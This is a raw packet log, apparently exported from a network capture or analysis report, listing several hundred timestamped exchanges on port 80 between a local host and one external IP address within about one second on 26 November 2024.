Nov 26, 2024 00:07:44.180274010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.180912018 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.180962086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.181051016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.181096077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.181781054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.181829929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.181885958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.181931973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.182538033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.182584047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.182624102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.182672024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.183391094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.183440924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.183481932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.183528900 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.184142113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.184191942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.184257984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.184303999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.184954882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.185005903 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.185039043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.185082912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.185748100 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.185797930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.185873032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.185914040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.186583042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.186628103 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.186687946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.186729908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.187400103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.187443972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.187475920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.187516928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.188182116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.188224077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.188297987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.188338041 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.188992023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.189033985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.189145088 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.189188957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.189810991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.189856052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.189913034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.189954042 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.190642118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.190687895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.190711975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.190752983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.191404104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.191446066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.191514015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.191555977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.192239046 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.192280054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.192452908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.192495108 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.193012953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.193053961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.193125963 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.193162918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.193851948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.193893909 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.193928957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.193969011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.194750071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.194808960 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.194844007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.194885969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.195446968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.195487976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.195571899 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.195612907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.196248055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.196290016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.196366072 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.196407080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.197079897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.197125912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.197154999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.197196007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.197861910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.197900057 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.197918892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.197959900 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.198673010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.198714018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.198818922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.198863029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.199731112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.199773073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.199841976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.199891090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.288855076 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.288943052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.288975000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.289016962 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.289064884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.289113998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.289242983 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.289294004 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.289885044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.289931059 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.289993048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.290040016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.290699959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.290756941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.290792942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.290837049 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.371176958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.371260881 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.371309996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.371366024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.371500969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.371625900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.371684074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.371711969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.372246027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.372302055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.372381926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.372432947 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.372967958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.373023033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.373100996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.373153925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.373769999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.373826027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.373910904 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.373958111 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.374589920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.374641895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.374711037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.374758005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.375345945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.375397921 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.375452995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.375504971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.376178980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.376230955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.376293898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.376342058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.376946926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.376997948 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.377085924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.377132893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.377764940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.377830029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.378005028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.378067017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.378552914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.378626108 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.378658056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.378706932 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.379364967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.379415035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.379452944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.379508972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.380176067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.380224943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.380337954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.380387068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.380990982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.381042957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.381084919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.381138086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.381789923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.381843090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.381887913 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.381936073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.382603884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.382658005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.382786036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.382839918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.383410931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.383466005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.383646011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.383697987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.384185076 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.384236097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.384305954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.384355068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.385018110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.385067940 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.385118961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.385169029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.385840893 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.385893106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.385931015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.385977983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.386622906 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.386679888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.386718988 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.386769056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.387423038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.387471914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.387507915 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.387556076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.388345003 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.388411045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.388428926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.388477087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.389028072 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.389095068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.389138937 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.389190912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.389898062 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.389950037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.389983892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.390032053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.390687943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.390727043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.390741110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.390765905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.391531944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.391591072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.391623020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.391680002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.392277956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.392342091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.392404079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.392453909 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.393255949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.393311024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.393357992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.393410921 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.393913031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.393968105 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.394043922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.394097090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.394754887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.394817114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.394893885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.394949913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.395522118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.395581961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.395617008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.395670891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.396327972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.396393061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.396609068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.396663904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.397100925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.397154093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.397171974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.397222042 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.433902025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.554048061 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.893978119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.893994093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.894006014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.894016027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.894021988 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.894058943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.894109964 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.894289970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.894330978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.894654989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.894696951 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.895194054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.895236015 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.895370960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.895411968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.896080971 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.896131039 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.896234035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.896289110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.896954060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.896966934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.897011042 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.897583008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.897649050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.897747040 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.897794962 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.898267984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.898341894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.898442030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.898489952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.899184942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.899219036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.899235010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.899259090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.899904013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.899954081 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.899990082 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.900038958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.900680065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.900736094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.900815010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.900863886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.901506901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.901638031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.901679039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.901729107 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.902403116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.902458906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.902529955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.902578115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.903247118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.903280973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.903294086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.903327942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.903906107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.903960943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.904028893 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.904069901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.904745102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.904803991 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.904953957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.905004978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.905674934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.905688047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.905731916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.907026052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.907042980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.907084942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.907442093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.907457113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.907500029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.908042908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.908098936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.908211946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.908257961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.908745050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.908796072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.908916950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.908971071 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.909447908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.909498930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.909821033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.909871101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.910459995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.910512924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.910639048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.910686016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.911299944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.911349058 CET	49753	80	192.168.2.4	92.255.57.88
